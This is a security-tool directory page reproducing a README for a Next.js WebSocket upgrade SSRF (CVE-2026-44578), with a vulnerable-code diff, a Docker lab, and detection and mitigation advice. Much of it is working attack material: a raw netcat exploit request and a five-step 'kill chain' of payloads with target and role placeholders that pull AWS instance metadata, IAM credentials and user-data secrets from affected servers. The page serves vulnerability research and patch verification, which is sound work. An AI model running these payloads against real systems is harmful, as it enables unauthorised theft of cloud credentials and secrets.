Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-44578
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit.

View Repository
923 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF

Pre-authentication Server-Side Request Forgery in Next.js self-hosted deployments.
A single crafted HTTP request extracts AWS credentials, secrets, and internal service data from localhost:80.

FieldValue
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
AffectedNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (self-hosted only)
Fixed15.5.16, 16.2.5
Auth RequiredNone
User InteractionNone

Vulnerability

The WebSocket upgrade handler in router-server.ts calls proxyRequest() whenever parsedUrl.protocol is truthy — without checking finished and statusCode routing-completion flags that the HTTP handler had always enforced.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

After normalizeRepeatedSlashes collapses http:/// to http:/, the hostname is null and http-proxy connects to localhost:80 with the correct path. Any co-located service (cloud metadata, admin panels, internal APIs) is exposed.


Exploit Command

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl cannot send absolute-form URIs. Use raw TCP: nc, ncat, socat, or Python sockets.


How It Works

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Lab Reproduction

Prerequisites

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Setup

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

This starts 5 containers:

The IMDS sidecars use network_mode: "service:nextjs-*" so the fake metadata service is on localhost:80 inside the Next.js container — modeling a real cloud instance.

Run the Exploit

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Teardown

root@kitploit:~
./teardown.sh

Evidence

1. Lab Running

All containers up — vulnerable (15.5.15) on :3000, patched (15.5.16) on :3001, IMDS sidecars sharing network namespaces.

Lab Running

2. SSRF — AWS Metadata Listing

Single request returns the full EC2 metadata directory (ami-id, instance-id, iam/, placement/, etc.)

Metadata Listing

3. SSRF — IAM Credential Extraction

Full IAM credential set: AccessKeyId, SecretAccessKey, Token, and Expiration.

IAM Credentials

4. SSRF — User-Data Secrets

EC2 user-data bootstrap script containing DB_PASSWORD and API_KEY.

User-Data Secrets

5. SSRF — Instance Identity

Instance ID extracted via the same SSRF vector.

Instance ID

6. Patched Instance — Blocked

Same payload against Next.js 15.5.16. Connection closed immediately — no data returned.

Patched Blocked

7. IMDS Logs — Proof of Server-Side Execution

The fake IMDS logs show GET requests arriving from 127.0.0.1 (the Next.js process), proving the SSRF is server-side.

IMDS Logs

8. Full PoC Suite — Vulnerable (7/7 Confirmed)

All 7 SSRF tests return sensitive data on the vulnerable instance.

Full Suite Vuln

9. Full PoC Suite — Patched (0/7 Blocked)

All 7 tests blocked on the patched instance. Fix confirmed.

Full Suite Patched


Kill Chain Payloads

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

Replace T with target host and ROLE with the IAM role name.


Constraints


Detection & Mitigation

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

On AWS: enforce IMDSv2 (HttpTokens=required).

Log signatures:

  • Failed to proxy http:/ — proxy triggered but target unreachable
  • The http:///path variant produces no error log — monitor for WebSocket upgrades with http: in the request line

References


Disclaimer

For authorized security testing, education, and defensive research only. Use only against systems you own or have explicit written permission to test.

Download Tool
ContainerRoleExposed
nextjs-vulnNext.js 15.5.15 (vulnerable)localhost:3000
nextjs-fixedNext.js 15.5.16 (patched)localhost:3001
imds-sidecar-vulnFake AWS IMDSv1 sharing network with vulnlocalhost:80 (from vuln's perspective)
imds-sidecar-fixedFake AWS IMDSv1 sharing network with fixedlocalhost:80 (from fixed's perspective)
internal-apiInternal service mock—
LimitationDetail
HTTP methodGET only
Targetlocalhost:80 (hostname stripped by normalization)
AWS IMDSv2Not exploitable (requires PUT)
GCP metadataNot exploitable (rejects Upgrade header)
Vercel-hostedNot affected
Behind reverse proxynginx/Caddy/HAProxy block absolute-form URIs
SourceLink
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
Fix commithttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian writeuphttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
Public PoC (nextssrf)https://github.com/ynsmroztas/nextssrf